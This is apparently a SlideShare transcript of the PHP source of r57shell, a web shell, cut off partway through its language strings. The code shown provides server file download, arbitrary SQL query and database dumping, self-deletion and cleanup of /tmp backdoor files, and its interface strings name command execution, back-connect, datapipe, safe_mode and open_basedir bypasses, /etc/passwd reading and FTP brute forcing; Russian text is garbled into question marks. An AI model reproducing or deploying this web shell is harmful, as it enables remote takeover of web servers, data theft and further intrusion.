• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content

Loading…

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

Like this document? Why not share!

R57.Php

on

  • 4,168 views

 

Statistics

Views

Total Views
4,168
Views on SlideShare
4,168
Embed Views
0

Actions

Likes
0
Downloads
6
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    R57.Php R57.Php Document Transcript

    • <?php / *********************************************************************************** *******************/ /* /* # # # # /* # # # # /* # # # # /* # ## #### ## # /* ## ## ###### ## ## /* ## ## ###### ## ## /* ## ## #### ## ## /* ### ############ ### /* ######################## /* ############## /* ######## ########## ####### /* ### ## ########## ## ### /* ### ## ########## ## ### /* ### # ########## # ### /* ### ## ######## ## ### /* ## # ###### # ## /* ## # #### # ## /* ## ## /* /* /* /* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ?? ??????? ????? ?????? ? /* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru /* ??????: 1.31 / *~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~*/ /* ????????? ????????????? ?? ?????? ? ????: blf, phoenix, virus, NorD ? ???? ?????? ?? RST/GHC. /* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ??????? ???????? ? ?????? ?? ?????? /* ?? rst@void.ru. ??? ??????????? ????? ???????????. / *~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~*/ /* (c)oded by 1dt.w0lf /* RST/GHC http://rst.void.ru , http://ghc.ru /* ANY MODIFIED REPUBLISHING IS RESTRICTED / *********************************************************************************** *******************/ /* ~~~ ????????? | Options ~~~ */ // ????? ????? | Language // $language='ru' - ??????? (russian) // $language='eng' - english (??????????) $language='eng'; // ?????????????? | Authentification // $auth = 1; - ?????????????? ???????? ( authentification = On ) // $auth = 0; - ?????????????? ????????? ( authentification = Off ) $auth = 0;
    • // ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) // ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) // ????? ? ?????? ????????? ? ??????? ????????? md5, ???????? ?? ????????? 'r57' // Login & password crypted with md5, default is 'r57' $name='ec371748dc2da624b35a4f8f685dd122'; // ????? ???????????? (user login) $pass='ec371748dc2da624b35a4f8f685dd122'; // ?????? ???????????? (user password) / *********************************************************************************** *******************/ error_reporting(0); set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); $safe_mode = @ini_get('safe_mode'); $version = '1.31'; if(version_compare(phpversion(), '4.1.0') == -1) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; $_COOKIE = &$HTTP_COOKIE_VARS; } if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k] = stripslashes($v); } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm=quot;r57shellquot;'); header('HTTP/1.0 401 Unauthorized'); exit(quot;<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>quot;); } } $head = '<!-- ??????????, ???? --> <html> <head> <title>r57shell</title> <meta http-equiv=quot;Content-Typequot; content=quot;text/html; charset=windows-1251quot;> <STYLE> tr { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BOTTOM: #aaaaaa 1px solid; color: #000000; }
    • td { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BOTTOM: #aaaaaa 1px solid; color: #000000; } .table1 { BORDER: 0px; BACKGROUND-COLOR: #D4D0C8; color: #000000; } .td1 { BORDER: 0px; font: 7pt Verdana; color: #000000; } .tr1 { BORDER: 0px; color: #000000; } table { BORDER: #eeeeee 1px outset; BACKGROUND-COLOR: #D4D0C8; color: #000000; } input { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; color: #000000; } select { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; color: #000000;; } submit { BORDER: buttonhighlight 2px outset; BACKGROUND-COLOR: #e4e0d8; width: 30%; color: #000000; } textarea { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: Fixedsys bold; color: #000000; }
    • BODY { margin: 1px; color: #000000; background-color: #e4e0d8; } A:link {COLOR:red; TEXT-DECORATION: none} A:visited { COLOR:red; TEXT-DECORATION: none} A:active {COLOR:red; TEXT-DECORATION: none} A:hover {color:blue;TEXT-DECORATION: none} </STYLE> <script language='javascript'> function hide_div(id) { document.getElementById(id).style.display = 'none'; document.cookie=id+'=0;'; } function show_div(id) { document.getElementById(id).style.display = 'block'; document.cookie=id+'=1;'; } function change_divst(id) { if (document.getElementById(id).style.display == 'none') show_div(id); else hide_div(id); } </script>'; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = quot;x50x4bx05x06x00x00x00x00quot;; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = 'x' . $dtime[6] . $dtime[7] . 'x' . $dtime[4] . $dtime[5] . 'x' . $dtime[2] . $dtime[3] . 'x' . $dtime[0] . $dtime[1]; eval('$hexdtime = quot;' . $hexdtime . 'quot;;');
    • $fr = quot;x50x4bx03x04quot;; $fr .= quot;x14x00quot;; $fr .= quot;x00x00quot;; $fr .= quot;x08x00quot;; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = quot;x50x4bx01x02quot;; $cdrec .= quot;x00x00quot;; $cdrec .= quot;x14x00quot;; $cdrec .= quot;x00x00quot;; $cdrec .= quot;x08x00quot;; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . quot;x00x00quot;; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) {
    • $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function mailattach($to,$from,$subj,$attach) { $headers = quot;From: $fromrnquot;; $headers .= quot;MIME-Version: 1.0rnquot;; $headers .= quot;Content-Type: quot;.$attach['type']; $headers .= quot;; name=quot;quot;.$attach['name'].quot;quot;rnquot;; $headers .= quot;Content-Transfer-Encoding: base64rnrnquot;; $headers .= chunk_split(base64_encode($attach['content'])).quot;rnquot;; if(@mail($to,$subj,quot;quot;,$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) { $this->port = '3306'; } if(!function_exists('mysql_connect')) return 0;
    • $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user, $this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) { $this->port = '1433'; } if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user, $this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) { $this->port = '5432'; } $str = quot;host='quot;.$this->host.quot;' port='quot;.$this->port.quot;' user='quot;.$this->user.quot;' password='quot;.$this->pass.quot;' dbname='quot;.$this->base.quot;'quot;; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this- >connection))) { $this->error = @mysql_error($this->connection); return 0;
    • } else if(is_resource($this->res)) { return 1; } return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) > 0) { return 1; } return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) > 0) { return 1; } return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
    • @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this- >num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date (quot;d/m/Y H:i:squot;); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode(quot;`, `quot;, $this- >columns).'`) VALUES (''.@implode(quot;', 'quot;, $this->rows[$i]).'');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(quot;, quot;, $this- >columns).') VALUES (''.@implode(quot;', 'quot;, $this->rows[$i]).'');';
    • } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(quot;, quot;, $this- >columns).') VALUES (''.@implode(quot;', 'quot;, $this->rows[$i]).'');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0;
    • break; } } } if(!empty($_POST['cmd']) && $_POST['cmd']==quot;download_filequot; && ! empty($_POST['d_name'])) { if(!$file=@fopen($_POST['d_name'],quot;rquot;)) { err(1,$_POST['d_name']); $_POST['cmd']=quot;quot;; } else { @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header(quot;Content-type: quot;.$mime_type); header(quot;Content-disposition: attachment; filename=quot;quot;.$filename.quot;quot;;quot;); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;.$_SERVER['PHP_SELF'].quot;>BACK</a> ] </b></font></div>quot;; die(); } if (!empty($_POST['cmd']) && $_POST['cmd']==quot;db_queryquot;) { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo quot;<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>quot;; else { if(!empty($sql->base)&&!$sql->select_db()) echo quot;<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>quot;; else { foreach($querys as $num=>$query) { if(strlen($query)>5) { echo quot;<font face=Verdana size=-2 color=green><b>Query#quot;.$num.quot; : quot;.htmlspecialchars($query,ENT_QUOTES).quot;</b></font><br>quot;; switch($sql->query($query)) { case '0': echo quot;<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>quot;. $sql->error.quot;</b></font></td></tr></table>quot;;
    • break; case '1': if($sql->get_result()) { echo quot;<table width=100%>quot;; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode(quot;&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;quot;, $sql->columns); echo quot;<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;quot;. $keys.quot;&nbsp;</b></font></td></tr>quot;; for($i=0;$i<$sql->num_rows;$i++) { foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode(quot;&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;quot;,$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2>&nbsp;'. $values.'&nbsp;</font></td></tr>'; } echo quot;</table>quot;; } break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo quot;<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>quot;.$ar.quot;</b></font></td></tr></table><br>quot;; break; } } } } } echo quot;<br><form name=form method=POST>quot;; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo quot;<div align=center>quot;; echo quot;<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=quot;quot;.$sql->base.quot;quot;></font><br>quot;; echo quot;<textarea cols=65 rows=10 name=db_query>quot;.(!empty($_POST['db_query'])? ($_POST['db_query']):(quot;SHOW DATABASES;nSELECT * FROM user;quot;)).quot;</textarea><br><input type=submit name=submit value=quot; Run SQL query quot;></div><br><br>quot;; echo quot;</form>quot;; echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;. $_SERVER['PHP_SELF'].quot;>BACK</a> ]</b></font></div>quot;; die(); } if(isset($_GET['delete'])) { @unlink(__FILE__); } if(isset($_GET['tmp'])) { @unlink(quot;/tmp/bdplquot;);
    • @unlink(quot;/tmp/backquot;); @unlink(quot;/tmp/bdquot;); @unlink(quot;/tmp/bd.cquot;); @unlink(quot;/tmp/dpquot;); @unlink(quot;/tmp/dpcquot;); @unlink(quot;/tmp/dpc.cquot;); } if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return '<i>no value</i>'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; foreach (@ini_get_all() as $key=>$value) { $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'. $key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></ div></font></td></tr>'; } echo $r; echo '</table>'; } echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;. $_SERVER['PHP_SELF'].quot;>BACK</a> ]</b></font></div>quot;; die(); } if(isset($_GET['cpu'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
    • $cpuf = @file(quot;cpuinfoquot;); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i<$c;$i++) { $info = @explode(quot;:quot;,$cpuf[$i]); if($info[1]==quot;quot;){ $info[1]=quot;---quot;; } $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;. $_SERVER['PHP_SELF'].quot;>BACK</a> ]</b></font></div>quot;; die(); } if(isset($_GET['mem'])) { echo $head; echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; $memf = @file(quot;meminfoquot;); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(quot;:quot;,$memf[$i]); if($info[1]==quot;quot;){ $info[1]=quot;---quot;; } $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; } echo $r; } else { echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>'; } echo '</table>'; echo quot;<br><div align=center><font face=Verdana size=-2><b>[ <a href=quot;. $_SERVER['PHP_SELF'].quot;>BACK</a> ]</b></font></div>quot;; die(); } $lang=array( 'ru_text1' =>'??????????? ???????', 'ru_text2' =>'?????????? ?????? ?? ???????', 'ru_text3' =>'????????? ???????', 'ru_text4' =>'??????? ??????????',
    • 'ru_text5' =>'???????? ?????? ?? ??????', 'ru_text6' =>'????????? ????', 'ru_text7' =>'??????', 'ru_text8' =>'???????? ?????', 'ru_butt1' =>'?????????', 'ru_butt2' =>'?????????', 'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', 'ru_text10'=>'??????? ????', 'ru_text11'=>'?????? ??? ???????', 'ru_butt3' =>'???????', 'ru_text12'=>'back-connect', 'ru_text13'=>'IP-?????', 'ru_text14'=>'????', 'ru_butt4' =>'?????????', 'ru_text15'=>'???????? ?????? ? ?????????? ???????', 'ru_text16'=>'????????????', 'ru_text17'=>'????????? ????', 'ru_text18'=>'????????? ????', 'ru_text19'=>'Exploits', 'ru_text20'=>'????????????', 'ru_text21'=>'????? ???', 'ru_text22'=>'datapipe', 'ru_text23'=>'????????? ????', 'ru_text24'=>'????????? ????', 'ru_text25'=>'????????? ????', 'ru_text26'=>'????????????', 'ru_butt5' =>'?????????', 'ru_text28'=>'?????? ? safe_mode', 'ru_text29'=>'?????? ????????', 'ru_butt6' =>'???????', 'ru_text30'=>'???????? ?????', 'ru_butt7' =>'???????', 'ru_text31'=>'???? ?? ??????', 'ru_text32'=>'?????????? PHP ????', 'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', 'ru_butt8' =>'?????????', 'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', 'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', 'ru_text36'=>'???? . ???????', 'ru_text37'=>'?????', 'ru_text38'=>'??????', 'ru_text39'=>'????', 'ru_text40'=>'???? ??????? ???? ??????', 'ru_butt9' =>'????', 'ru_text41'=>'????????? ? ?????', 'ru_text42'=>'?????????????? ?????', 'ru_text43'=>'????????????? ????', 'ru_butt10'=>'?????????', 'ru_butt11'=>'?????????????', 'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', 'ru_text45'=>'???? ????????', 'ru_text46'=>'???????? phpinfo()', 'ru_text47'=>'???????? ???????? php.ini', 'ru_text48'=>'???????? ????????? ??????', 'ru_text49'=>'???????? ??????? ? ???????', 'ru_text50'=>'?????????? ? ??????????',
    • 'ru_text51'=>'?????????? ? ??????', 'ru_text52'=>'????? ??? ??????', 'ru_text53'=>'?????? ? ?????', 'ru_text54'=>'????? ?????? ? ??????', 'ru_butt12'=>'?????', 'ru_text55'=>'?????? ? ??????', 'ru_text56'=>'?????? ?? ???????', 'ru_text57'=>'???????/??????? ????/??????????', 'ru_text58'=>'???', 'ru_text59'=>'????', 'ru_text60'=>'??????????', 'ru_butt13'=>'???????/???????', 'ru_text61'=>'???? ??????', 'ru_text62'=>'?????????? ???????', 'ru_text63'=>'???? ??????', 'ru_text64'=>'?????????? ???????', 'ru_text65'=>'???????', 'ru_text66'=>'???????', 'ru_text67'=>'Chown/Chgrp/Chmod', 'ru_text68'=>'???????', 'ru_text69'=>'????????1', 'ru_text70'=>'????????2', 'ru_text71'=>quot;?????? ???????? ???????:rn- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) rn- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) rn- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)quot;, 'ru_text72'=>'????? ??? ??????', 'ru_text73'=>'?????? ? ?????', 'ru_text74'=>'?????? ? ??????', 'ru_text75'=>'* ????? ???????????? ?????????? ?????????', 'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', 'ru_text80'=>'???', 'ru_text81'=>'????', 'ru_text82'=>'???? ??????', 'ru_text83'=>'?????????? SQL ???????', 'ru_text84'=>'SQL ??????', 'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', 'ru_text86'=>'?????????? ????? ? ???????', 'ru_butt14'=>'???????', 'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', 'ru_text88'=>'FTP-??????:????', 'ru_text89'=>'???? ?? ftp ???????', 'ru_text90'=>'????? ????????', 'ru_text91'=>'???????????? ?', 'ru_text92'=>'??? ?????????', 'ru_text93'=>'FTP', 'ru_text94'=>'FTP-????????', 'ru_text95'=>'?????? ?????????????', 'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', 'ru_text97'=>'????????? ??????????: ', 'ru_text98'=>'??????? ???????????: ', 'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', 'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', 'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', 'ru_text102'=>'?????', 'ru_text103'=>'???????? ??????',
    • 'ru_text104'=>'???????? ????? ?? ???????? ????', 'ru_text105'=>'????', 'ru_text106'=>'??', 'ru_text107'=>'????', 'ru_butt15'=>'?????????', 'ru_text108'=>'????? ??????', 'ru_text109'=>'????????', 'ru_text110'=>'??????????', 'ru_text111'=>'SQL-?????? : ????', 'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', 'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', 'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', 'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? compress.zlib:// ? copy()', 'ru_text116'=>'?????????? ????', 'ru_text117'=>'?', 'ru_text118'=>'???? ??????????', 'ru_text119'=>'?? ??????? ??????????? ????', 'ru_err0'=>'??????! ?? ???? ???????? ? ???? ', 'ru_err1'=>'??????! ?? ???? ????????? ???? ', 'ru_err2'=>'??????! ?? ??????? ??????? ', 'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????', 'ru_err4'=>'?????? ??????????? ?? ftp ???????', 'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????', 'ru_err6'=>'??????! ?? ??????? ????????? ??????', 'ru_err7'=>'?????? ??????????', /* --------------------------------------------------------------- */ 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_text9' 